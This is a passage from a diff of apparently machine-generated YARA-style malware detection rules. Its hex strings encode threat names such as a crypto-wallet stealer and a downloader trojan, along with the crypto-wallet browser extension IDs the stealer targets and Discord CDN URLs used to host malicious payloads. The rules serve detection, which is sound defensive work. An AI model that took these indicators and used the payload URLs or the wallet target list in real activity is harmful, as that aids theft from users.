& 1)*10+(#a_03_65 & 1)*10+(#a_03_66 & 1)*10+(#a_03_67 & 1)*10+(#a_03_68 & 1)*10+(#a_03_69 & 1)*10+(#a_03_70 & 1)*10+(#a_03_71 & 1)*10+(#a_03_72 & 1)*10+(#a_03_73 & 1)*10+(#a_03_74 & 1)*10+(#a_03_75 & 1)*10+(#a_03_76 & 1)*10+(#a_03_77 & 1)*10+(#a_03_78 & 1)*10+(#a_03_79 & 1)*10+(#a_03_80 & 1)*10+(#a_03_81 & 1)*10+(#a_03_82 & 1)*10+(#a_01_83 & 1)*10+(#a_01_84 & 1)*10+(#a_01_85 & 1)*10+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_59_88 & 1)*0+(#a_00_89 & 1)*99+(#a_00_90 & 1)*103+(#a_00_91 & 1)*115+(#a_00_92 & 1)*110+(#a_00_93 & 1)*115+(#a_00_94 & 1)*110+(#a_00_95 & 1)*112+(#a_00_97 & 1)*57+(#a_00_98 & 1)*104+(#a_00_99 & 1)*51+(#a_00_100 & 1)*103+(#a_00_101 & 1)*115+(#a_00_102 & 1)*110+(#a_00_103 & 1)*112+(#a_00_105 & 1)*53+(#a_00_106 & 1)*58+(#a_00_108 & 1)*109+(#a_00_110 & 1)*67+(#a_00_111 & 1)*111+(#a_00_112 & 1)*50+(#a_00_114 & 1)*99+(#a_00_116 & 1)*53+(#a_00_118 & 1)*46+(#a_00_119 & 1)*56+(#a_00_120 & 1)*1+(#a_00_121 & 1)*10+(#a_00_122 & 1)*10+(#a_00_123 & 1)*10+(#a_00_124 & 1)*10+(#a_00_125 & 1)*10+(#a_00_126 & 1)*10+(#a_00_127 & 1)*10+(#a_01_128 & 1)*1+(#a_00_129 & 1)*1+(#a_00_130 & 1)*1+(#a_01_131 & 1)*1+(#a_6f_132 & 1)*0+(#a_d6_133 & 1)*0+(#a_ff_135 & 1)*17032+(#a_1b_137 & 1)*21899+(#a_d6_138 & 1)*0+(#a_4d_139 & 1)*-10497) >=1 + ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-3712+(#a_33_2 & 1)*1536+(#a_01_3 & 1)*15302+(#a_c8_4 & 1)*261+(#a_13_5 & 1)*19638+(#a_90_6 & 1)*23808+(#a_00_7 & 1)*-19711+(#a_01_8 & 1)*-5760+(#a_ff_9 & 1)*-32241+(#a_01_10 & 1)*-18416+(#a_00_11 & 1)*-16253+(#a_01_12 & 1)*-28636+(#a_00_13 & 1)*144+(#a_f7_14 & 1)*-30207+(#a_01_15 & 1)*-28668+(#a_00_16 & 1)*3909+(#a_c7_17 & 1)*1162+(#a_90_18 & 1)*17800+(#a_00_19 & 1)*144+(#a_90_20 & 1)*-1796+(#a_f5_21 & 1)*-30205+(#a_8b_22 & 1)*17803+(#a_01_23 & 1)*-3343+(#a_01_24 & 1)*-3712+(#a_01_25 & 1)*-28547+(#a_01_26 & 1)*-28439+(#a_01_27 & 1)*912+(#a_0f_29 & 1)*4352+(#a_83_30 & 1)*400+(#a_44_31 & 1)*257+(#a_00_32 & 1)*-16000+(#a_90_33 & 1)*23944+(#a_00_34 & 1)*116+(#a_00_35 & 1)*56+(#a_00_36 & 1)*58+(#a_00_38 & 1)*120+(#a_68_40 & 1)*22528+(#a_00_42 & 1)*115+(#a_00_43 & 1)*98+(#a_00_44 & 1)*58+(#a_00_46 & 1)*100+(#a_00_48 & 1)*110+(#a_00_49 & 1)*114+(#a_00_51 & 1)*46+(#a_00_53 & 1)*116+(#a_00_54 & 1)*102+(#a_00_56 & 1)*55+(#a_00_57 & 1)*112+(#a_01_58 & 1)*10+(#a_01_59 & 1)*10+(#a_03_60 & 1)*10+(#a_03_61 & 1)*10+(#a_03_62 & 1)*10+(#a_03_63 & 1)*10+(#a_01_64 & 1)*10+(#a_03_65 & 1)*10+(#a_03_66 & 1)*10+(#a_03_67 & 1)*10+(#a_03_68 & 1)*10+(#a_03_69 & 1)*10+(#a_03_70 & 1)*10+(#a_03_71 & 1)*10+(#a_03_72 & 1)*10+(#a_03_73 & 1)*10+(#a_03_74 & 1)*10+(#a_03_75 & 1)*10+(#a_03_76 & 1)*10+(#a_03_77 & 1)*10+(#a_03_78 & 1)*10+(#a_03_79 & 1)*10+(#a_03_80 & 1)*10+(#a_03_81 & 1)*10+(#a_03_82 & 1)*10+(#a_01_83 & 1)*10+(#a_01_84 & 1)*10+(#a_01_85 & 1)*10+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_2d_88 & 1)*0+(#a_6e_89 & 1)*26113+(#a_6e_90 & 1)*288+(#a_65_91 & 1)*25345+(#a_6a_92 & 1)*28011+(#a_6a_93 & 1)*25454+(#a_6b_94 & 1)*27502+(#a_64_95 & 1)*8192+(#a_6b_96 & 1)*28001+(#a_6a_97 & 1)*27137+(#a_70_98 & 1)*28771+(#a_68_99 & 1)*26980+(#a_6f_100 & 1)*25953+(#a_6d_101 & 1)*27496+(#a_6f_102 & 1)*28016+(#a_62_103 & 1)*25453+(#a_6e_104 & 1)*26731+(#a_67_105 & 1)*26979+(#a_6d_106 & 1)*25711+(#a_68_108 & 1)*25453+(#a_67_109 & 1)*28265+(#a_30_110 & 1)*11619+(#a_79_111 & 1)*26990+(#a_63_112 & 1)*26209+(#a_7d_113 & 1)*25905+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_59_137 & 1)*0+(#a_00_138 & 1)*99+(#a_00_139 & 1)*103) >=1 } -rule _InfrastructureShared_20591{ +rule _InfrastructureShared_21819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 2d 00 21 " @@ -267183,7 +282724,91 @@ rule _InfrastructureShared_20591{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_00_2 & 1)*112+(#a_00_4 & 1)*116+(#a_00_6 & 1)*116+(#a_00_7 & 1)*54+(#a_00_8 & 1)*344+(#a_00_9 & 1)*47+(#a_00_10 & 1)*109+(#a_00_12 & 1)*110+(#a_00_13 & 1)*116+(#a_00_14 & 1)*52+(#a_00_15 & 1)*46+(#a_00_17 & 1)*116+(#a_00_18 & 1)*103+(#a_00_19 & 1)*117+(#a_00_20 & 1)*117+(#a_00_21 & 1)*56+(#a_00_23 & 1)*52+(#a_00_25 & 1)*52+(#a_00_27 & 1)*50+(#a_00_29 & 1)*46+(#a_00_31 & 1)*97+(#a_00_33 & 1)*46+(#a_00_35 & 1)*50+(#a_00_36 & 1)*46+(#a_00_38 & 1)*54+(#a_00_40 & 1)*47+(#a_00_41 & 1)*104+(#a_00_42 & 1)*825+(#a_00_43 & 1)*108+(#a_00_44 & 1)*112) >=10 } -rule _InfrastructureShared_20592{ +rule _InfrastructureShared_21820{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 5a 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 6f 53 74 65 61 6c 7a 2e 5a 21 4d 54 42 00 01 00 20 01 49 62 6e 65 6a 64 66 6a 6d 6d 6b 70 63 6e 6c 70 65 62 6b 6c 6d 6e 6b 6f 65 6f 69 68 6f 66 65 63 01 } //21539 + $a_66_1 = {62 } //8192 b + $a_6d_2 = {65 6c 62 6f 68 70 6a 62 62 6c 64 63 6e 67 63 6e 61 70 6e 64 6f 64 6a 70 01 00 20 01 66 66 6e 62 65 6c 66 64 6f 65 69 6f 68 65 6e 6b 6a 69 62 6e 6d 61 64 6a 69 65 68 6a 68 61 6a 62 01 00 20 01 6a 62 64 61 6f 63 6e 65 69 69 69 6e 6d 6a 62 6a 6c 67 61 6c 68 63 65 6c 67 62 65 6a 6d 6e 69 64 01 00 20 01 61 66 62 63 62 } //26735 + $a_70_3 = {61 64 6c 6b 6d 68 6d 63 6c 68 6b 65 65 6f 64 6d 61 6d 63 66 6c 63 01 00 20 01 68 6e 66 61 6e 6b 6e 6f 63 66 65 6f 66 62 64 64 67 63 69 6a 6e 6d 68 6e 66 6e 6b 64 6e 61 61 64 01 00 20 01 68 70 67 6c 66 68 67 66 6e 68 62 67 70 6a 64 65 6e 6a 67 6d 64 67 6f 65 69 61 70 70 61 66 6c 6e 01 00 20 01 } //28778 + $a_69_4 = {69 69 66 66 62 6f 69 6c 6c 6b 6e 6a 6e 65 70 6f 67 6a 68 6b 67 6e 6f 61 70 61 63 01 00 20 01 63 6a 65 6c 66 70 6c 70 6c 65 62 64 6a 6a 65 6e 6c 6c 70 6a 63 62 6c 6d 6a 6b 66 63 66 66 6e 65 01 00 20 01 66 69 68 6b 61 6b 66 6f 62 6b 6d 6b 6a 6f 6a 70 63 68 70 66 67 63 6d 68 66 6a 6e 6d 6e 66 70 69 01 00 20 01 6b 6e 63 63 68 64 69 } //27746 + $a_67_5 = {65 6e 62 62 61 64 64 6f 6a 6a 6e 6e 61 6f 67 66 70 70 66 6a 01 00 20 01 61 6d 6b 6d 6a 6a 6d 6d 66 6c 64 64 6f 67 6d 68 70 6a 6c 6f 69 6d 69 70 62 6f 66 6e 66 6a 69 68 01 00 20 01 6e 6c 62 6d 6e 6e 69 6a 63 6e 6c 65 67 6b 6a 6a 70 63 66 6a 63 6c 6d 63 66 67 67 66 65 66 64 6d 01 00 20 01 6e 61 } //28519 + $a_64_6 = {6e 68 6b 69 6e 69 66 6e 6b 67 64 63 67 67 63 66 6e 68 64 61 61 6d 6d 6d 6a 01 00 20 01 6e 6b 64 64 67 6e 63 64 6a 67 6a 66 63 64 64 61 6d 66 67 63 6d 66 6e 6c 68 63 63 6e 69 6d 69 67 01 00 20 01 66 6e 6a 68 6d 6b 68 68 6d 6b 62 6a 6b 6b 61 62 6e 64 63 6e 6e 6f 67 61 67 6f 67 62 6e 65 65 63 01 00 20 01 63 70 68 68 6c 67 6d 67 } //27246 + $a_6f_7 = {6e 68 6b 6a 64 6d 6b 70 61 6e 6c 65 6c 6e 6c 6f 68 61 6f 01 00 20 01 6e 68 6e 6b 62 6b 67 6a 69 6b 67 63 69 67 61 64 6f 6d 6b 70 68 61 6c 61 6e 6e 64 63 61 70 6a 6b 01 00 20 01 6b 70 66 6f 70 6b 65 6c 6d 61 70 63 6f 69 70 65 6d 66 65 6e 64 6d 64 63 67 68 6e 65 67 69 6d 6e 01 00 20 01 61 69 69 66 62 6e } //28001 + $a_62_8 = {6d 65 65 6b 69 70 68 65 65 69 6a 69 6d 64 70 6e 6c 70 67 70 70 01 00 20 01 64 6d 6b 61 6d 63 6b 6e 6f 67 6b 67 63 64 66 68 68 62 64 64 63 67 68 61 63 68 6b 65 6a 65 61 70 01 00 20 01 66 68 6d 66 65 6e 64 67 64 6f 63 6d 63 62 6d 66 69 6b 64 63 6f 67 6f 66 70 68 69 6d 6e 6b 6e 6f 01 00 20 01 63 6e 6d 61 6d 61 61 63 68 70 70 6e 6b 6a } //26210 + $a_6c_9 = {70 64 6d 6b 61 61 6b 65 6a 6e 68 61 65 01 00 20 01 6a 6f 6a 68 66 65 6f 65 64 6b 70 6b 67 6c 62 66 69 6d 64 66 61 62 70 64 66 6a 61 6f 6f 6c 61 66 01 00 20 01 66 6c 70 69 63 69 69 6c 65 6d 67 68 62 6d 66 61 6c 69 63 61 6a 6f 6f 6c 68 6b 6b 65 6e 66 65 6c 01 00 20 01 6e 6b 6e 68 69 65 68 6c 6b 6c 69 70 70 61 66 61 } //28263 + $a_6b_10 = {62 65 67 6c 65 63 69 66 68 61 64 01 00 20 01 68 63 66 6c 70 69 6e 63 70 70 70 64 63 6c 69 6e 65 61 6c 6d 61 6e 64 69 6a 63 6d 6e 6b 62 67 6e 01 00 20 01 6f 6f 6b 6a 6c 62 6b 69 69 6a 69 6e 68 70 6d 6e 6a 66 66 63 6f 66 6a 6f 6e 62 66 62 67 61 6f 63 01 00 20 01 6d 6e 66 69 66 65 66 6b 61 6a 67 6f 66 6b } //24939 + $a_65_11 = {69 64 69 61 65 63 6f 63 6e 6b 6a 65 68 01 00 20 01 6c 6f 64 63 63 6a 6a 62 64 68 66 61 6b 61 65 6b 64 69 61 68 6d 65 64 66 62 69 65 6c 64 67 69 6b 01 00 20 01 49 6a 6d 70 67 6b 6a 66 6b 62 66 68 6f 65 62 67 6f 67 66 6c 66 65 62 6e 6d 65 6a 6d 66 62 6d 6c 01 00 20 01 6c 6b 63 6a 6c 6e 6a 66 70 62 69 6b 6d 63 6d 62 61 63 } //27235 + $a_64_12 = {69 6a 65 6a 66 6c 70 63 6d 01 00 20 01 6e 6b 62 69 68 66 62 65 6f 67 61 65 61 6f 65 68 6c 65 66 6e 6b 6f 64 62 65 66 67 70 67 6b 6e 6e 01 00 20 01 62 63 6f 70 67 63 68 68 6f 6a 6d 67 67 6d 66 66 69 6c 70 6c 6d 62 64 69 63 67 61 69 68 6c 6b 70 01 00 20 01 6b 6c 6e 61 65 6a 6a 67 62 69 62 6d 68 6c 65 70 68 6e 68 70 6d 61 6f 66 6f 68 67 } //27240 + $a_6b_13 = {01 00 20 01 61 65 61 63 68 6b 6e 6d 65 66 70 68 65 70 63 63 69 6f 6e 62 6f 6f 68 63 6b 6f 6e 6f 65 65 6d 67 01 00 20 01 64 6b 64 65 64 6c 70 67 64 6d 6d 6b 6b 66 6a 61 62 66 66 65 67 61 6e 69 65 61 6d 66 6b 6c 6b 6d 01 00 20 01 6e 6c 67 62 68 64 66 67 64 68 67 62 69 61 6d 66 64 66 6d 62 69 6b 63 64 67 68 69 } //28779 + $a_64_14 = {01 00 20 01 6f 6e 6f 66 70 6e 62 62 6b 65 68 70 6d 6d 6f 61 62 67 70 63 70 6d 69 67 61 66 6d 6d 6e 6a 68 6c 01 00 20 01 63 69 68 6d 6f 61 64 61 69 67 68 63 65 6a 6f 70 61 6d 6d 66 62 6d 64 64 63 6d 64 65 6b 63 6a 65 01 00 20 01 63 67 65 65 6f 64 70 66 61 67 6a 63 65 65 66 69 65 66 6c 6d 64 } //28516 + $a_70_15 = {6b 65 6e 6c 66 6b 01 00 20 01 70 64 61 64 6a 6b 66 6b 67 63 61 66 67 62 63 65 69 6d 63 70 62 6b 61 6c 6e 66 6e 65 70 62 6e 6b 01 00 20 01 61 63 6d 61 63 6f 64 6b 6a 62 64 67 6d 6f 6c 65 65 62 6f 6c 6d 64 6a 6f 6e 69 6c 6b 64 62 63 68 01 00 20 01 62 66 6e 61 65 6c 6d 6f 6d 65 69 6d 68 6c 70 6d 67 6a 6e 6a 6f 70 } //28774 + $a_6b_16 = {6f 6c 6a 70 61 01 00 20 01 66 68 69 6c 61 68 65 69 6d 67 6c 69 67 6e 64 64 6b 6a 67 6f 66 6b 63 62 67 65 6b 68 65 6e 62 68 01 00 20 01 6d 67 66 66 6b 66 62 69 64 69 68 6a 70 6f 61 6f 6d 61 6a 6c 62 67 63 68 64 64 6c 69 63 67 70 6e 01 00 20 01 68 6d 65 6f 62 6e 66 6e 66 63 6d 64 6b 64 63 6d 6c 62 6c 67 61 67 6d 66 70 66 62 6f 69 65 61 } //26728 + $a_63_18 = {6a 6b 6e 69 6a 70 65 65 69 6c 6c 69 66 6e 6b 69 6b 67 6e 63 69 6b 67 66 68 64 6f 01 00 20 01 64 6e 67 6d 6c 62 6c 63 6f 64 66 6f 62 70 64 70 65 63 61 61 64 67 66 62 63 67 67 66 6a 66 6e 6d 01 00 20 01 62 68 68 68 6c 62 65 70 64 6b 62 61 70 61 64 6a 64 6e 6e 6f 6a 6b 62 67 69 6f 69 6f 64 62 69 63 01 00 20 } //28780 + $a_6b_19 = {6c 66 61 6e 6a 6b 65 61 64 6f 6e 65 63 61 62 65 68 61 6c 6d 62 67 70 66 6f 64 6a 6d 01 00 20 01 6a 68 67 6e 62 6b 6b 69 70 61 61 6c 6c 70 65 68 62 6f 68 6a 6d 6b 62 6a 6f 66 6a 64 6d 65 69 64 01 00 20 01 6a 6e 6c 67 61 6d 65 63 62 70 6d 62 61 6a 6a 66 68 6d 6d 6d 6c 68 65 6a 6b 65 6d 65 6a 64 6d 61 01 00 20 01 6b 6b 70 6c 6c 6b } //27137 + $a_65_20 = {6f 69 64 69 65 65 64 6f 6a 6f 67 61 63 66 68 70 61 69 68 6f 68 01 00 20 01 6d 63 6f 68 69 6c 6e 63 62 66 61 68 62 6d 67 64 6a 6b 62 70 65 6d 63 63 69 69 6f 6c 67 63 67 65 01 00 20 01 67 6a 61 67 6d 67 69 64 64 62 62 63 69 6f 70 6a 68 6c 6c 6b 64 6e 64 64 68 63 67 6c 6e 65 6d 6b 01 00 20 01 6b 6d 68 63 69 68 70 65 62 } //25711 + $a_67_21 = {69 68 62 6b 69 70 6d 6a 6c 6d 6d 69 6f 61 6d 65 6b 61 01 00 20 01 70 68 6b 62 61 6d 65 66 69 6e 67 67 6d 61 6b 67 6b 6c 70 6b 6c 6a 6a 6d 67 69 62 6f 68 6e 62 61 01 00 20 01 6c 70 69 6c 62 6e 69 69 61 62 61 63 6b 64 6a 63 69 6f 6e 6b 6f 62 67 6c 6d 64 64 66 62 63 6a 6f 01 00 20 01 63 6a 6d 6b 6e 64 6a 68 6e 61 67 63 66 62 70 69 65 6d } //28006 + $a_70_22 = {6d 63 63 6e 6a 62 6c 6d 6a 01 00 2a 01 7b 35 33 30 66 37 63 36 63 2d 36 30 37 37 2d 34 37 30 33 2d 38 66 37 31 2d 63 62 33 36 38 63 36 36 33 65 33 35 7d 2e 78 70 69 01 00 21 01 72 6f 6e 69 6e 2d 77 61 6c 6c 65 74 40 61 78 69 65 69 6e 66 69 6e 69 74 79 2e 63 6f 6d 2e 78 70 69 01 00 1c 01 77 65 62 65 } //27502 + $a_6e_23 = {69 6f 6e 40 6d 65 74 61 6d 61 73 6b 2e 69 6f 2e 78 70 69 01 00 2a 01 7b 35 37 39 39 64 39 62 36 2d 38 33 34 33 2d 34 63 32 36 2d 39 61 62 36 2d 35 64 32 61 64 33 39 38 38 34 63 65 7d 2e 78 70 69 01 00 2a 01 7b 61 61 38 31 32 62 65 65 2d 39 65 39 32 2d 34 38 62 61 2d 39 35 37 30 2d 35 66 61 66 30 63 66 } //29816 + $a_37_24 = {7d 2e 78 70 69 01 00 2a 01 7b 35 39 65 61 35 66 32 39 2d 36 65 61 39 2d 34 30 62 35 2d 38 33 63 64 2d 39 33 37 32 34 39 62 30 30 31 65 31 7d 2e 78 70 69 01 00 } //12901 + $a_64_25 = {64 64 66 63 32 61 2d 39 37 64 39 2d 34 63 36 30 2d 38 62 35 33 2d 35 65 64 64 32 39 39 62 36 36 37 34 7d 2e 78 70 69 01 00 2a 01 7b 37 63 34 32 65 65 61 31 2d 62 33 65 34 2d 34 62 65 34 2d 61 35 36 66 2d 38 32 61 35 38 35 32 62 31 32 64 63 7d 2e 78 70 69 01 00 2a 01 7b 62 33 65 39 36 62 35 66 2d 62 35 62 66 2d 38 62 34 38 2d 38 34 36 62 2d 35 32 66 34 33 30 33 36 35 } //298 + $a_7d_26 = {78 70 69 01 00 2a 01 7b 65 62 31 66 62 35 37 62 2d 63 61 33 64 2d 34 36 32 34 2d 61 38 34 31 2d 37 32 38 66 64 62 32 38 34 35 35 66 7d 2e 78 70 } //14437 + $a_35_28 = {36 65 33 30 2d 65 63 64 62 2d 34 37 37 61 2d 39 31 66 64 2d 63 30 38 66 32 30 31 38 64 66 31 61 7d 2e 78 70 69 01 00 20 01 65 6a 6a 6c 61 64 69 6e 6e 63 6b 64 67 } //14203 + $a_65_29 = {65 62 64 70 65 6f 6b 62 69 6b 68 66 63 69 01 00 20 01 62 67 70 69 70 69 6d 69 63 6b 65 61 64 6b 6a 6c 6b 6c 67 63 69 69 66 68 6e 61 6c 68 64 6a 68 65 01 00 20 01 65 70 61 70 69 68 64 70 6c 61 6a 63 64 6e 6e 6b 64 65 69 61 68 6c 67 69 67 6f 66 6c 6f 69 62 67 01 00 20 01 61 68 6f 6c 70 66 64 69 61 6c 6a 67 6a 66 68 6f 6d 69 68 } //25962 + $a_6d_30 = {6a 69 64 6c 63 64 6e 6f 01 00 20 01 65 67 6a 69 64 6a 62 70 67 6c 69 63 68 64 63 6f 6e 64 62 63 62 64 6e 62 65 65 70 70 67 64 70 68 01 00 20 01 70 6e 6e 64 70 6c 63 62 6b 61 6b 63 70 6c 6b 6a 6e 6f 6c 67 62 6b 64 67 6a 69 6b 6a 65 64 6e 6d 01 00 20 01 67 6f 6a 68 63 64 67 63 70 62 70 66 69 67 } //27243 + $a_6a_31 = {66 68 66 65 67 65 6b 64 67 69 62 6c 6b 01 00 20 01 64 6a 63 6c 63 6b 6b 67 6c 65 63 68 6f 6f 62 6c 6e 67 67 68 64 69 6e 6d 65 65 6d 6b 62 67 63 69 01 00 20 01 6a 6e 6d 62 6f 62 6a 6d 68 6c 6e 67 6f 65 66 61 69 6f 6a 66 6c 6a 63 6b 69 6c 68 68 6c 68 63 6a 01 00 20 01 6a 69 69 64 69 61 61 6c 69 68 6d 6d } //24931 + $a_6a_32 = {62 6e 62 67 64 66 66 6c 65 6c 6f 63 70 61 6b 01 00 20 01 6b 6e 68 6b 65 6c 69 67 6b 66 6d 63 6c 67 6b 65 65 64 63 65 65 6e 70 6f 70 61 6c 65 6f 6b 66 68 01 00 20 01 61 67 6f 61 6b 66 65 6a 6a 61 62 6f 6d 65 6d 70 6b 6a 6c 65 70 64 66 6c 61 6c 65 65 6f 62 68 62 01 00 20 01 6c 67 6d 70 63 70 67 6c 70 } //25704 + $a_6f_33 = {6c 62 67 65 6f 6c 64 65 61 6a 66 63 6c 6e 68 61 66 61 01 00 20 01 6f 70 63 67 70 66 6d 69 70 69 64 62 67 70 65 6e 68 6d 61 6a 6f 61 6a 70 62 6f 62 70 70 64 69 6c 01 00 20 01 6e 70 68 70 6c 70 67 6f 61 6b 68 68 6a 63 68 6b 6b 68 6d 69 67 67 61 6b 69 6a 6e 6b 68 66 6e 64 01 00 20 01 62 6b 6b 6c 69 66 } //26478 + $a_65_34 = {63 63 65 64 70 6b 68 63 65 62 61 67 6a 70 65 68 68 61 62 66 62 01 00 20 01 65 61 6a 61 66 6f 6d 68 6d 6b 69 70 62 6a 6d 66 6d 68 65 62 65 6d 6f 6c 6b 63 69 63 67 66 6d 64 01 00 20 01 65 62 66 69 64 70 70 6c 68 61 62 65 65 64 70 6e 68 6a 6e 6f 62 67 68 6f 6b 70 69 69 6f 6f 6c 6a 01 00 20 01 6c 63 } //25963 + $a_68_35 = {67 66 6b 64 69 6b 61 68 61 6e 6f 63 6c 62 64 6d 61 6f 6c 69 64 6a 64 66 6c 00 00 78 59 0d 00 0b 00 0b 00 18 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 41 32 31 30 32 21 45 4d 4c 00 0a 00 ac 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e } //25187 + $a_00_37 = {6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 31 00 33 00 34 00 34 00 34 00 35 } //115 + $a_00_39 = {36 00 30 00 39 00 39 00 35 00 30 00 2f 00 43 00 68 00 77 00 79 00 66 00 2e 00 70 00 6e 00 67 00 0a 00 b2 00 68 00 74 00 74 00 70 00 73 00 3a 00 } //49 + $a_00_40 = {63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 } //47 + $a_00_42 = {74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 31 00 33 00 34 00 35 00 31 00 38 00 36 00 35 00 36 00 35 00 34 00 37 00 36 00 34 00 36 00 33 00 2f 00 54 00 78 00 78 00 74 00 6f 00 74 00 6c 00 76 00 2e 00 70 00 6e 00 67 00 0a 00 b4 00 } //101 + $a_00_43 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 34 00 30 00 31 00 37 00 36 00 38 00 32 00 39 00 36 00 34 00 38 00 36 00 31 00 37 00 34 00 39 00 32 00 2f 00 39 00 34 00 } //104 tps://cdn.discordapp.com/attachments/940176829648617492/94 + $a_00_44 = {34 00 34 00 35 00 33 00 30 00 33 00 31 00 30 00 35 00 39 00 30 00 34 00 36 00 34 00 2f 00 59 00 79 00 62 00 67 00 71 00 70 00 6c 00 6c 00 6b 00 2e 00 70 00 6e 00 67 00 0a } //48 + $a_00_46 = {70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 33 00 } //116 ps://cdn.discordapp.com/attachments/933933471095738399/943 + $a_00_47 = {39 00 36 00 39 00 30 00 38 00 31 00 37 00 32 00 37 00 33 00 38 00 35 00 36 00 2f 00 53 00 65 00 65 00 68 00 6e 00 64 00 78 00 6b 00 2e 00 70 00 6e 00 67 } //48 + $a_00_49 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 } //104 tps://cdn.discordapp.com/attachments/933933471095738399/94 + $a_00_50 = {34 00 34 00 32 00 39 00 32 00 30 00 33 00 31 00 37 00 30 00 39 00 32 00 31 00 34 00 2f 00 47 00 62 00 65 00 68 00 72 00 7a 00 2e 00 6a 00 70 00 } //51 44292031709214/Gbehrz.jp + $a_00_51 = {b4 00 68 00 74 00 74 00 70 00 } //103 + $a_00_52 = {2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 } //115 //cdn.discordapp.com/attachme + $a_00_53 = {73 00 2f 00 39 00 34 00 30 00 31 00 37 00 36 00 38 00 32 00 39 00 36 00 34 00 38 00 36 00 31 00 37 00 34 00 39 00 32 00 2f 00 39 00 34 00 31 00 36 00 36 00 39 00 34 00 32 00 32 00 36 00 30 00 31 00 34 00 37 00 34 00 30 00 34 00 38 00 2f 00 5a 00 71 00 65 00 76 00 64 00 70 00 70 00 70 00 70 00 2e 00 6a 00 70 00 67 00 0a 00 ae 00 68 00 74 00 74 00 } //110 + $a_00_54 = {3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 35 00 38 00 32 } //112 + $a_00_56 = {34 00 31 00 35 00 38 00 33 00 32 00 30 00 39 00 34 00 2f 00 56 00 72 00 6e 00 6b 00 63 00 72 00 2e 00 6a 00 70 00 67 00 0a 00 ac 00 68 00 74 00 74 00 70 00 73 00 } //53 + $a_00_57 = {2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 } //58 + $a_00_59 = {6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 33 00 30 00 39 00 33 00 33 00 32 00 37 00 37 00 31 00 31 00 30 00 37 00 32 00 32 00 37 00 36 00 2f 00 42 00 6b 00 72 00 64 00 61 00 2e 00 70 00 6e 00 67 } //109 + $a_00_61 = {6f 00 6e 00 6e 00 66 00 